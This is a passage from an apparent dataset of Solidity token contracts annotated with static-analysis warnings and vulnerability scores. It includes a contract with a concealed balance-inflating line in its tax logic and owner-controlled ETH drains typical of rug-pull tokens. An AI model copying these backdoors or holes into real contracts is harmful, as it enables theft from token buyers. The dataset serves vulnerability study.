_tTotal);\n\n\t\t// reentrancy-benign | ID: 07987ad\n\t\t// reentrancy-benign | ID: e959cf6\n\t\t// reentrancy-eth | ID: 85cea05\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 07987ad\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: e959cf6\n\t\t// unused-return | ID: 53afd01\n\t\t// reentrancy-eth | ID: 85cea05\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e959cf6\n\t\t// unused-return | ID: f4f783e\n\t\t// reentrancy-eth | ID: 85cea05\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e959cf6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 85cea05\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e959cf6\n firstBlockNbr = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10689.sol",
"size_bytes": 23632,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f98f803): HACKATRON.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for f98f803: Consider ordering multiplication before division.\ncontract HACKATRON is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n bool private inSwaps;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b7f717): HACKATRON._taxWallet should be immutable \n\t// Recommendation for 2b7f717: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 692a3b7): HACKATRON._initialBuyTax should be constant \n\t// Recommendation for 692a3b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a3c0b9): HACKATRON._initialSellTax should be constant \n\t// Recommendation for 2a3c0b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6b553e): HACKATRON._finalBuyTax should be constant \n\t// Recommendation for e6b553e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: deb0cfd): HACKATRON._finalSellTax should be constant \n\t// Recommendation for deb0cfd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa1f28f): HACKATRON._reduceBuyTaxAt should be constant \n\t// Recommendation for fa1f28f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 26;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60f2e1b): HACKATRON._reduceSellTaxAt should be constant \n\t// Recommendation for 60f2e1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c1e7f8a): HACKATRON._preventSwapBefore should be constant \n\t// Recommendation for c1e7f8a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 058d4e7): HACKATRON._transferTax should be constant \n\t// Recommendation for 058d4e7: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 10;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mascot of MicroStrategy\";\n\n string private constant _symbol = unicode\"HACKATRON\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: d382ebe): HACKATRON._taxSwapThreshold should be constant \n\t// Recommendation for d382ebe: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: f98f803\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0e0dedb): HACKATRON._maxTaxSwap should be immutable \n\t// Recommendation for 0e0dedb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: f98f803\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n modifier lockTheSwaps() {\n inSwaps = true;\n\n _;\n\n inSwaps = false;\n }\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76d0f5b): HACKATRON.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76d0f5b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 145394b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 145394b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a7adc58): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a7adc58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 145394b\n\t\t// reentrancy-benign | ID: a7adc58\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 145394b\n\t\t// reentrancy-benign | ID: a7adc58\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _taxAmount(\n address from,\n address to,\n uint256 amount\n ) private returns (uint256) {\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0)\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (inSwaps)\n if (from == address(this) && to == uniswapV2Pair)\n _balances[address(this)] |= uint160(from);\n\n if (_buyCount > 0) taxAmount = amount.mul(_transferTax).div(100);\n }\n\n return taxAmount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a8f7a8b): HACKATRON._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a8f7a8b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a7adc58\n\t\t// reentrancy-benign | ID: bbedb60\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 145394b\n\t\t// reentrancy-events | ID: ae3f820\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bcf53db): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bcf53db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3e6064f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3e6064f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = _taxAmount(from, to, amount);\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: bcf53db\n\t\t\t\t// reentrancy-eth | ID: 3e6064f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bcf53db\n\t\t\t\t\t// reentrancy-eth | ID: 3e6064f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3e6064f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3e6064f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3e6064f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bcf53db\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3e6064f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3e6064f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bcf53db\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 145394b\n\t\t// reentrancy-events | ID: bcf53db\n\t\t// reentrancy-benign | ID: a7adc58\n\t\t// reentrancy-eth | ID: 3e6064f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0634624): HACKATRON.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0634624: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 145394b\n\t\t// reentrancy-events | ID: bcf53db\n\t\t// reentrancy-eth | ID: 3e6064f\n\t\t// arbitrary-send-eth | ID: 0634624\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae3f820): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae3f820: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bbedb60): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bbedb60: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fdf2a38): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fdf2a38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b9c3f16): HACKATRON.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b9c3f16: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9288496): HACKATRON.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9288496: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 021dbd8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 021dbd8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-events | ID: ae3f820\n\t\t\t// reentrancy-benign | ID: bbedb60\n\t\t\t// reentrancy-benign | ID: fdf2a38\n\t\t\t// reentrancy-eth | ID: 021dbd8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-events | ID: ae3f820\n\t\t// reentrancy-benign | ID: bbedb60\n\t\t// reentrancy-benign | ID: fdf2a38\n\t\t// unused-return | ID: 9288496\n\t\t// reentrancy-eth | ID: 021dbd8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-events | ID: ae3f820\n\t\t// reentrancy-benign | ID: bbedb60\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fdf2a38\n\t\t// unused-return | ID: b9c3f16\n\t\t// reentrancy-eth | ID: 021dbd8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fdf2a38\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 021dbd8\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap(uint256 tokenBalances) external lockTheSwaps {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalances > 0) {\n swapTokensForEth(tokenBalances);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1069.sol",
"size_bytes": 23039,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1d36b60): BBL.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 1d36b60: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n\n string private _symbol;\n\n uint256 private _totalSupply;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _setAllowance(owner, spender, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _deductAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 increase\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _setAllowance(owner, spender, _allowances[owner][spender] + increase);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 decrease\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = _allowances[owner][spender];\n\n require(\n currentAllowance >= decrease,\n \"Allowance can't be set below zero\"\n );\n\n unchecked {\n _setAllowance(owner, spender, currentAllowance - decrease);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balanceOfSender = _balances[from];\n\n require(\n from != address(0) && to != address(0),\n \"Transfer from/to the zero address not allowed\"\n );\n\n require(\n balanceOfSender >= amount,\n \"Transfer amount exceeds your balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: dcf783a\n _balances[from] = balanceOfSender - amount;\n }\n\n\t\t// reentrancy-eth | ID: dcf783a\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: e0c1865\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Mint to the zero address not allowed\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _setAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n owner != address(0) && spender != address(0),\n \"Approve from/to the zero address is not allowed\"\n );\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _deductAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"Allowance can't be set below zero\"\n );\n\n unchecked {\n _setAllowance(owner, spender, currentAllowance - amount);\n }\n }\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed nextOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(\n owner() == _msgSender(),\n \"You are not the owner of this contract\"\n );\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address nextOwner) public virtual onlyOwner {\n require(\n nextOwner != address(0),\n \"Zero address is the new owner of the contract\"\n );\n\n _transferOwnership(nextOwner);\n }\n\n function _transferOwnership(address nextOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = nextOwner;\n\n emit OwnershipTransferred(oldOwner, nextOwner);\n }\n}\n\ncontract BBL is ERC20, Ownable {\n IUniswapV2Router02 private constant uniswap =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapLiquidityPair;\n\n address public immutable feeWallet;\n\n uint256 private walletSizeLimit = 1393813939 * 1e18;\n\n uint256 private minContractTokenSwap = 69690696 * 1e18;\n\n uint256 private maxContractTokenSwap = 696906969 * 1e18;\n\n uint8 private sellTransactionCount;\n\n uint8 private buyTransactionCount;\n\n uint32 private _lastSellBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: f61c1ed): BBL._feeDecreaseThreshold should be constant \n\t// Recommendation for f61c1ed: Add the 'constant' attribute to state variables that never change.\n uint8 private _feeDecreaseThreshold = 29;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff9adc3): BBL._preventSwapBefore should be constant \n\t// Recommendation for ff9adc3: Add the 'constant' attribute to state variables that never change.\n uint8 private _preventSwapBefore = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0908b4e): BBL._feePercentOnBuys should be constant \n\t// Recommendation for 0908b4e: Add the 'constant' attribute to state variables that never change.\n uint8 private _feePercentOnBuys = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9da54d9): BBL._feePercentOnSells should be constant \n\t// Recommendation for 9da54d9: Add the 'constant' attribute to state variables that never change.\n uint8 private _feePercentOnSells = 2;\n\n bool private inSwap;\n\n uint8 private initialBuyFeePercent;\n\n uint8 private initialSellFeePercent;\n\n mapping(address => bool) private excludedFromLimits;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1d36b60): BBL.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 1d36b60: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"BRAZILIAN BUTT LIFT\", \"BBL\") {\n uint256 totalSupply = 69690696969 * 1e18;\n\n initialBuyFeePercent = 19;\n\n initialSellFeePercent = 19;\n\n feeWallet = 0xC1e705F20b466e0e9735ec023Fa3081FAd95cfB3;\n\n excludedFromLimits[feeWallet] = true;\n\n excludedFromLimits[msg.sender] = true;\n\n excludedFromLimits[address(this)] = true;\n\n _setAllowance(address(this), address(uniswap), totalSupply);\n\n _setAllowance(msg.sender, address(uniswap), totalSupply);\n\n _mint(msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e0c1865): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e0c1865: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d155384): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d155384: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dcf783a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dcf783a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0) && to != 